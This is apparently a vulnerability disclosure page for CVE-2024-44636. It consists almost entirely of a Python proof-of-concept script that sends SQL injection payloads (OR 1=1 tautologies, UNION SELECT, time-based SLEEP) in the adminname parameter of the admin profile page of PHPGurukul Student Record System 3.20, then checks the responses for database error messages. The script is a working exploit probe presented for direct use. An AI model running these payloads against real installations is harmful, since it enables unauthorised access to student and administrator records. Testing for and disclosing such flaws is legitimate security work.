CVE-2024-44636 PHPGurukul学生记录系统SQL注入漏洞

import requests # CVE-2024-44636 SQL Injection PoC # Target: PHPGurukul Student Record System 3.20 # Endpoint: /admin-profile.php # Vulnerable Parameter: adminname, aemailid target_url = "http://target.com/admin-profile.php" # SQL Injection payloads payloads = [ "admin' OR '1'='1", "admin' UNION SELECT NULL--", "admin' AND SLEEP(5)--", "' OR 1=1 LIMIT 1--" ] def test_sql_injection(): print("Testing CVE-2024-44636 SQL Injection...") for payload in payloads: # Test adminname parameter params = { 'adminname': payload, 'aemailid': '[email protected]' } try: response = requests.get(target_url, params=params, timeout=10) # Check for SQL error indicators sql_errors = [ 'MySQL', 'SQL syntax', 'mysql_fetch', 'Warning', 'mysql_num_rows', 'SQLite', 'PostgreSQL', 'ORA-', 'Microsoft SQL' ] for error in sql_errors: if error in response.text: print(f"[+] Vulnerable! Payload: {payload}") print(f"[+] Error detected: {error}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": test_sql_injection()